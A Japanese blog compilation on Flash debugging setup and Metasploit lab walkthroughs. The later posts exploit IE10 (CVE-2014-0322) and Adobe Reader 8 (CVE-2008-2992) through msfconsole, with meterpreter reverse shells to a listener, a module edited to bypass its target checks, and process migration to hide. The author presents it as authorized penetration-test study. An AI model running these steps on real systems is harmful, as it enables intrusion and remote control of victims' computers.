Apache fdb (Flash Player Debugger) [build 20140701]
Copyright 2013 The Apache Software Foundation. All rights reserved.
(fdb) run
Waiting for Player to connect

次に、テスト環境でリモート デバッグの設定を行います。test.html の左上のあたり、Flash が埋め込まれている部分を右クリックすると、コンテキスト メニューに [デバッガー] というのがあるはずです。これが表示されない場合、デバッグ版の Flash Player が正しくインストールされていません。

image

[デバッガー] をクリックすると、以下のダイアログが表示されるので、fdb を起動したコンピューターのアドレスを入力し、[接続する] をクリックして下さい。

image

デバッガーが Flash Player から応答を受け取り、trace の出力がデバッガーのコンソールから確認できます。

d:\MSWORK>fdb
Apache fdb (Flash Player Debugger) [build 20140701]
Copyright 2013 The Apache Software Foundation. All rights reserved.
(fdb) run[
Unknown command ‘run[‘, ignoring it
(fdb) run
Waiting for Player to connect
Player connected; session starting.
Set breakpoints and then type ‘continue’ to resume the session.
[SWF] /test.swf – 1,526 bytes after decompression
[trace] 0x00000026
[trace] 0x00000027
[trace] 0x00000028
[trace] 0x00000029
[trace] 0x0000002a
[trace] 0x0000002b
[trace] 0x0000002c
[trace] 0x0000002d

リモート デバッグ設定は保存されるので、デバッガーを起動し直して run で待機し、ページを F5 更新すると、Flash 開始時でブレークしてくれます。以下は出力例として、timerHandler で止めて、mCounter の値を書き換えている様子です。

分かりにくいのですが、ブレークさせるときはデバッガー上で Enter キーを押してください。そうすると "Do you want to attempt to halt execution?" と聞かれるので y を押すと止まります。ただ、けっこうなラグがあるので、止めたいタイミングがずれそうです。Ctrl+C を押すとデバッガー自体が終了してしまうので注意。

d:\MSWORK> fdb
Apache fdb (Flash Player Debugger) [build 20140701]
Copyright 2013 The Apache Software Foundation. All rights reserved.
(fdb) run
Waiting for Player to connect
Player connected; session starting.
Set breakpoints and then type ‘continue’ to resume the session.
(fdb) c
[SWF] /test.swf – 1,526 bytes after decompression
[trace] 0x00000001
[trace] 0x00000002
[trace] 0x00000003
[trace] 0x00000004
[trace] 0x00000005
[trace] 0x00000006

(Enter キーを押す)

Do you want to attempt to halt execution? (y or n) y
Attempting to halt.
To help out, try nudging the Player (e.g. press a button)
[trace] 0x00000007
[trace] 0x00000008
Execution halted in ‘test.swf’ at 0xffffffff (-1)
(fdb) break Main:timerHandler
Breakpoint 1 at 0x314: file Main.as, line 25
(fdb) c
Breakpoint 1, timerHandler() at Main.as:25
25             public function timerHandler(param1:TimerEvent) : void {
(fdb) print this.mCounter
$1 = 8 (0x8)
(fdb) set this.mCounter = 1234
(fdb) c
[trace] 0x000004d3
Breakpoint 1, timerHandler() at Main.as:25
25             public function timerHandler(param1:TimerEvent) : void {
(fdb) info break
Num Type           Disp Enb Address    What
1   breakpoint     keep y   0x00000314 in timerHandler() at Main.as:25 (Worker 0)
        breakpoint already hit 2 time(s)
(fdb) disable 1
(fdb) c
[trace] 0x000004d4
Execution halted, timerHandler() at Main.as:25
25             public function timerHandler(param1:TimerEvent) : void {
[trace] 0x000004d5

デバッガーで h コマンドを打つとコマンド一覧や使用例などが表示されます。また、Adobe Flex の頃の古いバージョンですが、以下に説明があります。Apache Flex 側の fdb のヘルプは今のところ見つけられていません。

Adobe Flex 4.6 * Command-line debugger
http://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf69084-7ffb.html

Adobe Flash development workbench

前回の CVE-2014-0322 を利用した攻撃を理解するためには、SWF ファイルの動作がとても重要なので、Adobe Flash の開発環境を整えることにしました。全部無料で扱えうツールを集めます。Web 系の技術は雨後の竹の子なので、一度勉強を始めると終わりがない。

インストールしたもの (バージョンは 2014/8/15 時点での最新版)。
今回は Windows 7 SP1 64bit 日本語版にインストールしました。

以下、インストール時にはまりやすいポイントなどを。

まずは IDE の選択ですが、FlashDevelop をチョイス。本家の Adobe Flash Builder は有償だし、Eclipse のプラグインもあるようですが、宗教上の理由で Windows マシンには Eclipse を入れたくないため。

FlashDevelop は単なる IDE なので、Adobe Flash 用の SDK が必要です。もし SDK がないのにビルドしようとすると、"This project doesn’t have a valid SDK defined. Please check the SDK tab in the Project Properties." というポップアップで怒られます。←実際に怒られた

image

その SDK が Apache Flex。昔は Adobe Flex SDK とか言っていたのが Apache になったらしい。

Apache Flex には SDK Installer とかいう便利そうなインストーラーがあるようですが、特に理由も無くこのインストーラーは使わないことにして、SDK Binaries を単体でダウンロード。こちらはインストーラーはないので、"C:\Program Files (x86)\FlexSDK\4.13.0" というフォルダーを手動で作ってそこに解凍。

image

FlashDevelop 上で Apache Flex を指定する方法はここを参照。

AS3 – FlashDevelop
http://www.flashdevelop.org/wikidocs/index.php?title=AS3 ("Configuring FlashDevelop to use the Flex SDK")

メニューから Tools > Program settings… を選択
image

AS3Contect > Language > Installed Flex SDKs のプロパティ画面を開いて、Path のところに SDK の解凍先である "C:\Program Files (x86)\FlexSDK\4.13.0" を 入力。他の項目は自動的に認識されるので、OK をクリック。
image

ビルド時には Java のプログラムが使われるみたいなので、Java が入っていなければ入れておきましょう。Java 6 以上が必要なようです。JDK を入れなくても JRE だけで十分、、なはず。FlashDevelop はビルドを実行するときに環境変数を使うので、JAVA_HOME と PATH を設定します。なんか以前にもブログで触れたような気がする。

JAVA_HOME= C:\Program Files (x86)\Java\jre8
PATH= %JAVA_HOME%\bin;<追加前のPATH>

上の方にも書きましたが、64bit OS だからといって 64bit の Java しか入れていないと、デバッグ実行するときに BadImageFormatException という例外でデバッガーが起動しません。必ず 32bit の Java をインストールしておきましょう。

Debugger startup error. For troubleshooting see: http://www.flashdevelop.org/wikidocs/index.php?title=F.A.Q
Error details: System.BadImageFormatException: 間違ったフォーマットのプログラムを読み込もうとしました。 (HRESULT からの例外: 0x8007000B)
   場所 net.sf.jni4net.jni.JNI.Dll.JNI_GetDefaultJavaVMInitArgs(JavaVMInitArgs* args)
   場所 net.sf.jni4net.jni.JNI.Init()
   場所 net.sf.jni4net.jni.JNI.CreateJavaVM(JavaVM& jvm, JNIEnv& env, Boolean attachIfExists, String[] options)
   場所 net.sf.jni4net.Bridge.CreateJVM()
   場所 net.sf.jni4net.Bridge.CreateJVM(BridgeSetup setup)
   場所 FlashDebugger.DebuggerManager.Start(Boolean alwaysStart)
[Capturing traces with FDB]

さらに、デバッグ実行のためには、それ用の Flash Player が必要です。http://www.adobe.com/support/flashplayer/downloads.html からダウンロードしてきます。メジャー バージョンが幾つかあるのですが、ここでは最新の 14 だけを使います。しかし 14 の Windows のところだけでも・・

  • Download the Windows Flash Player 14 ActiveX control content debugger (for IE)  (EXE, 18.15MB)
  • DownloadDownload the Windows Flash Player 14 Plugin content debugger (for Netscape-compatible browsers)  (EXE, 18.11MB)
  • DownloadDownload the Windows Flash Player 14 Projector content debugger (for Netscape-compatible browsers) (EXE, 11.40MB)
  • DownloadDownload the Windows Flash Player 14 Projector (EXE, 10.60MB)
  • DownloadDownload the Flash Player for Windows 8 x86 debugger (KB2777262)
  • DownloadDownload the Flash Player for Windows 8 x64 debugger (KB2777262)
  • DownloadDownload the Flash Player for Windows 8 RT debugger (KB2777262)
  • DownloadDownload the Flash Player for Windows 8.1 x86 debugger (KB2867622)
  • DownloadDownload the Flash Player for Windows 8.1 x64 debugger (KB2867622)
  • DownloadDownload the Flash Player for Windows 8.1 RT debugger (KB2867622)

どれ入れればいいんだよ・・・。下のほうの Windows 8/8.1 用のファイルは adobe.com じゃなくて、Microsoft の KB パッケージへのリンクになっています。おそらく、IE10/11 では Flash Player が IE のバイナリの一部として統合されたからかと予想。Windows 8 は IE10、Windows 8.1 には IE11 が標準で入っているので、そのためのパッケージなのだと思います。何も確認していない単なる推測なので間違っているかもしれませんが。

で、今回の環境は IE11/Windows 7 なわけで、順当に考えると一番上の for IE ってやつでしょうが、これはハズレです。iexplore.exe や mshtml.dll のビルド バージョンが winblue_gdr.140724-2228 のようになっていることから確認できるように、Windows 7 上であろうと、IE11 は Windows 8.1 のバイナリと同じものが動いています。つまり、Flash のアドオンは IE と一緒に配布されているため、でしょうか。かといって、Windows 8.1 用の KB2867622 をインストールしようとしても動きませんでした。

正解は、3 つ目の Windows Flash Player 14 Projector content debugger です。ここから、flashplayer_14_sa_debug.exe という実行可能ファイルがダウンロードできます。この exe ファイルがスタンドアロンの Flash Player になっていて、swf ファイルを開くことができます。

それともう一つ、 http://www.adobe.com/support/flashplayer/downloads.html のページから、PlayerGlobal (.swc) というセクションにある playerglobal.swc というファイルが必要です。このファイルがないと、ビルドが以下のようにエラーになります。

Starting java as: java.exe -Xms64m -Xmx384m -ea -Dapple.awt.UIElement=true -Duser.language=en -Duser.region=US -Dapplication.home="C:\Program Files (x86)\FlexSDK\4.13.0" -Dflexlib="C:\Program Files (x86)\FlexSDK\4.13.0\frameworks" -jar "C:\Program Files (x86)\FlexSDK\4.13.0\lib\fcsh.jar"

INITIALIZING: Apache Flex Compiler SHell (fcsh)

Starting new compile.

Loading configuration file C:\Program Files (x86)\FlexSDK\4.13.0\frameworks\flex-config.xml

Loading configuration file E:\FlashDev\as3test\obj\as3testConfig.xml

C:\Program Files (x86)\FlexSDK\4.13.0\frameworks\flex-config.xml(65): Error: unable to open ‘C:\Program Files (x86)\FlexSDK\4.13.0\frameworks/libs/player/10.1/playerglobal.swc’

</external-library-path>

Build halted with errors (fcsh).

(fcsh)

Done(1)

また、FlashDevelop 4.6.3 で AS3 プロジェクトを作ると、デフォルトの Flash Player のバージョンが 10.1 になるので、ダウンロードした Flash Player (ここでは 14.0) のバージョンに変更する必要があります。

image

上のエラーメッセージによると、playerglobal.swc というファイルを "Apache Flex の解凍先\frameworks\libs\player\player のバージョン" に探しに行っているので、同じところに playerglobal.swc と Flash Player 14 Projector content debugger を置いておくことにします。今回の例だと↓ (青字のフォルダーは自分で作りました.。) 構成ファイルであるflex-config.xml を変更してもいいのですが、こういうのはそのままにしておくに限る。経験上。

C:\Program Files (x86)\FlexSDK\4.13.0\frameworks\libs\player\14.0

ダウンロードしてきたファイルは playerglobal14_0.swc となっているので、名前を変えて配置します。こんな感じ。

image

あとは、swf ファイルを flashplayer_14_sa_debug.exe に関連付けで終了です。flashplayer_14_sa_debug.exe を起動して適当な swf ファイルを開くと、勝手に関連付けされるみたいです。いいのかこの仕様。

残りの 3 つのツールは、SWF を逆アセンブルするためのツールです。

  • JPEXS Free Flash Decompiler 2.1.2
  • Adobe SWF Investigator (Preview 5; v0.6.5)
  • Yogda 1.0.567

Adobe Flash は ActionScript 3.0 という言語で記述します。コードをコンパイルしてできたプログラムは、Adobe AIR というランタイムで動くので、AIR さえ動くのであれば OS には依存せずに実行可能。AIR の一部である AVM2 (=ActionScript 仮想マシン) が、コンパイラの生成したバイトコードを解釈して動作する、らしい。その点では、.NET より Java にかなり近いようだ。

上記逆アセンブル ツールは、AVM のバイトコードを生成するものです。バイトコードのリファレンスは↓

ActionScript Virtual Machine 2 (AVM2) Overview
http://www.adobe.com/content/dam/Adobe/en/devnet/actionscript/articles/avm2overview.pdf

あと、Yogda のサイトに一覧があって、こっちのほうが本家の PDF より見やすい。当たり前だが、Intel CPU のアセンブリ言語とは段違いのシンプルさでよい。

Yogda – AVM2 bytecode workbench
http://yogda.2ka.org/bytecodes

Exploit in Internet Explorer 10 (CVE-2014-0322; Operation Snowman)

前回の例は少々古かったので、新しめのセキュリティ ホールを使ったスクリプトを紹介。これは Metasploit Unleashed からの引用ではなく、metasploit のスクリプトを眺めていたら見つけました。コードは↓です。

metasploit-framework/ms14_012_cmarkup_uaf.rb at master · rapid7/metasploit-framework · GitHub
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb

CVE での識別子は CVE-2014-0322。

CVE – CVE-2014-0322
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0322

これは Internet Explorer の脆弱性で、修正は MS14-012 というセキュリティ情報にて報告されています。以下のようなマイクロソフトのセキュリティ情報は見たことがある人も多いのではないでしょうか。

Microsoft Security Bulletin MS14-012 – Critical
https://technet.microsoft.com/library/security/ms14-012

マイクロソフト セキュリティ情報 MS14-012 – 緊急
https://technet.microsoft.com/ja-jp/library/security/ms14-012.aspx

この MS14-012 は、2014 年 3 月の Windows Update の日 (巷で Patch Tuesday と言われる第二火曜日。2014 年 3 月であれば 3 月 11 日。) に KB2925418 としてリリースされています。

MS14-012: Cumulative security update for Internet Explorer: March 11, 2014
http://support.microsoft.com/kb/2925418/en

Windows Update を使えば勝手に更新が検出されますが、個別にダウンロードする場合は、OS と IE バージョン毎にパッケージが用意されていますので、自分の環境に合ったパッケージを入手してインストールして下さい。例えば IE10/Win8/x64 用のパッケージは以下のリンクからダウンロードできます。

Internet Explorer 10 in Windows 8 x64 Edition (KB2925418)
http://www.microsoft.com/en-us/download/details.aspx?id=42210

MS14-012 のページに戻り、CVE 番号 CVE-2014-0322 で検索すると、"When this security bulletin was issued, had Microsoft received any reports that these vulnerabilities are being exploited?" というセクションにおける CVE-2014-0322 のところの答えが "Yes. Microsoft is aware of limited, targeted attacks that attempt to exploit this vulnerability in Internet Explorer 10." となっています。つまり、パッチがリリースされる前に攻撃が確認されていたということです。いわゆるゼロデイ攻撃です。

MITRE のページにおける References のリンクにある FireEye というアメリカのセキュリティ会社のブログに注目です。どうやら彼らがこの脆弱性に対するゼロデイ攻撃を 2/11 に検出したそうです。そこから Microsoft と FireEye のチームが共同で調査して、3 月 11 日に修正がリリース、というのが発見からクローズまでの流れでしょうか。技術的な部分は細かいところまで FireEye のブログに書かれています。彼らはこの攻撃を Operation Snowman と名付けたそうです。雪だるま作戦?

http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/new-ie-zero-day-found-in-watering-hole-attack-2.html
http://www.fireeye.com/blog/uncategorized/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html

サンプル付きの解説だと、ここが詳しそうです。まだちゃんと読んでいない・・。

HDW Sec – Blog
http://hdwsec.fr/blog/CVE-2014-0322.html

長くなった前置きはここまでにして、実際に metasploit を動かしてみましょう。その前に。当ブログにて提供している情報、リンク先などにより、いかなる損失や損害などの被害が発生しても責任を追いかねますのでご了承ください。また、実際に Penetration Test を行う際は、システム管理者への事前通知を行い、許可を貰った上で実施してください。

手元の環境では IE10/Windows 8 x64 のプラットフォームで攻撃が有効でした。その他、IE8/Win7、IE9/Win7、IE11/Win8.1 を試しましたが攻撃失敗・・・。IE10 以外には効果がないのかもしれませんが詳細は不明。IE10/Win7 の環境はまだ試していないのでそのうち。というかプラットフォームの組み合わせが多すぎる。IE は 6 から 11 まで、OS は XP から 8.1 までとか超多い。IE9 までは WOW64 (32bit on 64bit) の iexplore.exe と Win64 の iexplore.exe の両方あるし、Win8 以降だと Desktop と Moden App・・・。どうなってるんだ Windows。

気を取り直して metasploit 側での作業。モジュールを読み込んで、Web サーバーを開始するだけです。ペイロードはおなじみ、meterpreter/reverse_tcp で。なんと簡単なのでしょう。

msf > use exploit/windows/browser/ms14_012_cmarkup_uaf
msf exploit(ms14_012_cmarkup_uaf) > show options

Module options (exploit/windows/browser/ms14_012_cmarkup_uaf):

   Name        Current Setting  Required  Description
   —-        —————  ——–  ———–
   Retries     false            no        Allow the browser to retry the module
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)

Exploit target:

   Id  Name
   –  —-
   0   Windows 7 SP1 / IE 10 / FP 12

msf exploit(ms14_012_cmarkup_uaf) > set SRVHOST 10.10.10.80
SRVHOST => 10.10.10.80
msf exploit(ms14_012_cmarkup_uaf) > set URIPATH snowman
URIPATH => snowman
msf exploit(ms14_012_cmarkup_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms14_012_cmarkup_uaf) > set LHOST 10.10.10.80
LHOST => 10.10.10.80
msf exploit(ms14_012_cmarkup_uaf) > set LPORT 4455
LPORT => 4455
msf exploit(ms14_012_cmarkup_uaf) > show options

Module options (exploit/windows/browser/ms14_012_cmarkup_uaf):

   Name        Current Setting  Required  Description
   —-        —————  ——–  ———–
   Retries     false            no        Allow the browser to retry the module
   SRVHOST     10.10.10.80      yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     snowman          no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   —-      —————  ——–  ———–
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     10.10.10.80      yes       The listen address
   LPORT     4455             yes       The listen port

Exploit target:

   Id  Name
   –  —-
   0   Windows 7 SP1 / IE 10 / FP 12

msf exploit(ms14_012_cmarkup_uaf) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455
msf exploit(ms14_012_cmarkup_uaf) > [*] Using URL:
http://10.10.10.80:8080/snowman
[*] Server started.

 

今回犠牲になっていただく IE10 on Windows 8 x64 の環境。IE の更新バージョンが KB2718695 となっていることから分かるように、IE の更新プログラムは適用していません。

image

http://10.10.10.80:8080/snowman を開きます。すると、"Exploit requirement(s) not met" とかいうメッセージが出ます。要件を満たしていないようです。なんて attacker-friendly な攻撃用スクリプト・・。

msf exploit(ms14_012_cmarkup_uaf) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455
msf exploit(ms14_012_cmarkup_uaf) > [*] Using URL:
http://10.10.10.80:8080/snowman
[*] Server started.
[*] 10.10.10.96      ms14_012_cmarkup_uaf – Request: /snowman
[*] 10.10.10.96      ms14_012_cmarkup_uaf – Gathering target information.
[*] 10.10.10.96      ms14_012_cmarkup_uaf – Sending response HTML.
[*] 10.10.10.96      ms14_012_cmarkup_uaf – Request: /snowman/LHfaA/
[*] 10.10.10.96      ms14_012_cmarkup_uaf – Request: /snowman/PVOsGk/
[!] 10.10.10.96      ms14_012_cmarkup_uaf – Exploit requirement(s) not met: os_flavor, flash. For more info: http://r-7.co/PVbcgx

このモジュールのコードは /usr/share/metasploit-framework/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb にあるので、それを確認すると、以下のような前提条件の定義らしき部分が見つかります。赤字の部分が怒られた条件です。確かに、OS は Windows 8 だし。

‘BrowserRequirements’ =>
  {
    :source      => /script|headers/i,
    :os_name     => Msf::OperatingSystems::WINDOWS,
    :os_flavor   => Msf::OperatingSystems::WindowsVersions::SEVEN,
    :ua_name     => Msf::HttpClients::IE,
    :ua_ver      => ‘10.0’,
    :mshtml_build => lambda { |ver| ver.to_i < 16843 },
    :flash       => /^1[23]\./
  },

Flash のバージョンを確認 (ツール > アドオンの管理) すると、11 でした。

image

オリジナルのモジュールを変更したくはないので、適当に名前を変えて /root/.msf4/modules/exploits/windows/browser/ にコピーします。ms14_012_cmarkup_uaf_noreq.rb という名前にしました。んで編集。といっても怒られたところをコメントアウトしただけです。Ruby も覚えないトナー。

      ‘BrowserRequirements’ =>
        {
          :source      => /script|headers/i,
          :os_name     => Msf::OperatingSystems::WINDOWS,
#          :os_flavor   => Msf::OperatingSystems::WindowsVersions::SEVEN,
          :ua_name     => Msf::HttpClients::IE,
          :ua_ver      => ‘10.0’,
          :mshtml_build => lambda { |ver| ver.to_i < 16843 },
#          :flash       => /^1[23]\./
        },

モジュール ファイルは、msfconsole を起動したときに読み込まれるので、msfconsole を再起動します。モジュール名で ms14_012_cmarkup_uaf_noreq を指定している以外は、先ほどと同じです。

msf exploit(ms14_012_cmarkup_uaf) > exit

[*] Server stopped.
alice@kali:~$ sudo msfconsole
[sudo] password for alice:
_                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings — learn more on
http://rapid7.com/metasploit

       =[ metasploit v4.9.3-2014072301 [core:4.9 api:1.0] ]
+ — –=[ 1334 exploits – 804 auxiliary – 227 post        ]
+ — –=[ 346 payloads – 35 encoders – 8 nops             ]
+ — –=[ Free Metasploit Pro trial:
http://r-7.co/trymsp ]

msf > use exploit/windows/browser/ms14_012_cmarkup_uaf_noreq
msf exploit(ms14_012_cmarkup_uaf_noreq) > set SRVHOST 10.10.10.80
SRVHOST => 10.10.10.80
msf exploit(ms14_012_cmarkup_uaf_noreq) > set URIPATH snowman
URIPATH => snowman
msf exploit(ms14_012_cmarkup_uaf_noreq) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms14_012_cmarkup_uaf_noreq) > set LHOST 10.10.10.80
LHOST => 10.10.10.80
msf exploit(ms14_012_cmarkup_uaf_noreq) > set LPORT 4455
LPORT => 4455
msf exploit(ms14_012_cmarkup_uaf_noreq) > show options

Module options (exploit/windows/browser/ms14_012_cmarkup_uaf_noreq):

   Name        Current Setting  Required  Description
   —-        —————  ——–  ———–
   Retries     false            no        Allow the browser to retry the module
   SRVHOST     10.10.10.80      yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     snowman          no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   —-      —————  ——–  ———–
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     10.10.10.80      yes       The listen address
   LPORT     4455             yes       The listen port

Exploit target:

   Id  Name
   –  —-
   0   Windows 7 SP1 / IE 10 / FP 12

msf exploit(ms14_012_cmarkup_uaf_noreq) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455
msf exploit(ms14_012_cmarkup_uaf_noreq) > [*] Using URL:
http://10.10.10.80:8080/snowman
[*] Server started.

IE10 から http://10.10.10.80:8080/snowman を開くと・・・今度は侵入成功です。実は百発百中というわけではなく、まれに侵入に失敗して、IE が単純にクラッシュするだけになることも。

msf exploit(ms14_012_cmarkup_uaf_noreq) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455
msf exploit(ms14_012_cmarkup_uaf_noreq) > [*] Using URL:
http://10.10.10.80:8080/snowman
[*] Server started.
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Gathering target information.
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Sending response HTML.
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman/cSKqY/
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman/fHEwZx/
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Sending HTML…
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman/fHEwZx/zxqcZz.swf
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Sending SWF…
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman/fHEwZx/zxqcZz.swf
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Sending SWF…
[*] Sending stage (769536 bytes) to 10.10.10.96
[*] Meterpreter session 1 opened (10.10.10.80:4455 -> 10.10.10.96:49237) at 2014-08-11 23:37:31 -0700
[*] Session ID 1 (10.10.10.80:4455 -> 10.10.10.96:49237) processing InitialAutoRunScript ‘migrate -f’
[*] Current server process: IEXPLORE.EXE (776)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3004
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman/fHEwZx/
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Target with tag "ZCVaVZ" wants to retry the module, not allowed.
[+] Successfully migrated to process

msf exploit(ms14_012_cmarkup_uaf_noreq) > sessions

Active sessions
===============

  Id  Type                   Information                        Connection
  –  —-                   ———–                        ———-
  1   meterpreter x86/win32  CONTOSO\administrator @ WIN8AMD64  10.10.10.80:4455 -> 10.10.10.96:49237 (10.10.10.96)

msf exploit(ms14_012_cmarkup_uaf_noreq) > sessions -i 1
[*] Starting interaction with 1…

meterpreter > sysinfo
Computer        : WIN8AMD64
OS              : Windows 8 (Build 9200).
Architecture    : x64 (Current Process is WOW64)
System Language : ja_JP
Meterpreter     : x86/win32
meterpreter >

侵入が成功すると自動的に、iexplore.exe から notepad.exe に隠れ蓑を移します。Windows 側からみると、IE のタブが一つクラッシュして自動的に回復されたかのように見えるだけです。プロセスを注意深く見ると、前回の例のようにウィンドウのない notepad.exe が見つかるのですが、まあ普通は気づかないでしょう。今回は Windows Defender のリアルタイム保護も有効になっていますが、ブラウザー上での出来事なので何も検出できず。

侵入されている状態の Windows 8
image

今回は Windows 8 をデフォルト設定のまま使っているので、DEP はもちろん有効になっています。また、Vista 以降に導入された ASLR (= Address space layout randomization, DLL などのロード先やヒープ位置のランダム化) も有効になっており、これらを回避した上での攻撃です。このセキュリティ ホールは、Use-After-Free vulnerability という、既に解放されたヒープ場のバッファー アドレス位置を保持しているポインター変数を利用する比較的ホットなセキュリティ ホールの種類です。

2 回連続で metasploit を使った攻撃の再現を行いました。次回は攻撃されているプロセスをデバッガーから見てみようかと。もし、もっと面白い攻撃事例が見つかればそれを紹介しますが。その方が楽だし。

Exploit in Adobe Reader 8 (CVE-2008-2992)

このサイトのチュートリアルが素晴らしい。

Metasploit Unleashed
http://www.offensive-security.com/metasploit-unleashed/Main_Page

今回はその中から↓を取り上げます。

Client Side Exploits – Metasploit Unleashed
http://www.offensive-security.com/metasploit-unleashed/Client_Side_Exploits

内容が内容なだけに、免責事項を。当ブログにて提供している情報、リンク先などにより、いかなる損失や損害などの被害が発生しても責任を追いかねますのでご了承ください。また、実際に Penetration Test を行う際は、システム管理者への事前通知を行い、許可を貰った上で実施してください。

さて上述の記事は、実際に見つかった Adobe Reader 8 の脆弱性を攻撃するコードです。この脆弱性自体は、CVE-2008-2992 としてファイルされ、2008 年 11 月に Adobe 社から修正パッチがリリースされています。バージョンでいうと、Adobe Reader 8.1.2 までのバージョンに脆弱性があり、8.1.3 から修正が含まれています。

CVE – CVE-2008-2992
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2992

Adobe – Security Advisories : APSB08-19 – Security Update available for Adobe Reader 8 and Acrobat 8
http://www.adobe.com/support/security/bulletins/apsb08-19.html

CVE とは、アメリカの NPO である MITRE が管理している脆弱性情報データベースです。

脆弱性情報データベース – Wikipedia
http://ja.wikipedia.org/wiki/%E8%84%86%E5%BC%B1%E6%80%A7%E6%83%85%E5%A0%B1%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9

作業自体は前回の例と大して変わりません。msfconsole 上で PDF を生成し、攻撃対象のコンピューター上で Adobe Reader 8.1.2 を使って開くだけです。

まずは、Kali Linux 上で PDF を生成。

msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME CVE-2008-2992.pdf
FILENAME => CVE-2008-2992.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 10.10.10.80
LHOST => 10.10.10.80
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options

Module options (exploit/windows/fileformat/adobe_utilprintf):

   Name      Current Setting    Required  Description
   —-      —————    ——–  ———–
   FILENAME  CVE-2008-2992.pdf  yes       The file name.

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   —-      —————  ——–  ———–
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     10.10.10.80      yes       The listen address
   LPORT     4455             yes       The listen port

Exploit target:

   Id  Name
   –  —-
   0   Adobe Reader v8.1.2 (Windows XP SP3 English)

msf exploit(adobe_utilprintf) > run

[*] Creating ‘CVE-2008-2992.pdf’ file…
[+] CVE-2008-2992.pdf stored at /root/.msf4/local/CVE-2008-2992.pdf

msf exploit(adobe_utilprintf) >

攻撃対象のコンピューターを用意し、生成された PDF をコピーします。

  • OS: Windows XP SP3 (32bit)
    – 他の OS バージョンについては後述
    – Windows Update は実行せず、他のパッチは無し (インストールしても結果は変わらないはず)
  • Adobe Reader 8.1.2
    ftp://ftp.adobe.com/pub/adobe/reader/ からダウンロード可能

今回犠牲になる Adobe Reader 8.1.2 on Windows XP SP3。
image

PDF を開く前に、msfconsole で、攻撃対象コンピューターからのアクセスを待機します。

msf exploit(adobe_utilprintf) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455
LPORT => 4455
msf exploit(handler) > set LHOST 10.10.10.80
LHOST => 10.10.10.80
msf exploit(handler) > exploit

[*] Started reverse handler on 10.10.10.80:4455
[*] Starting the payload handler…

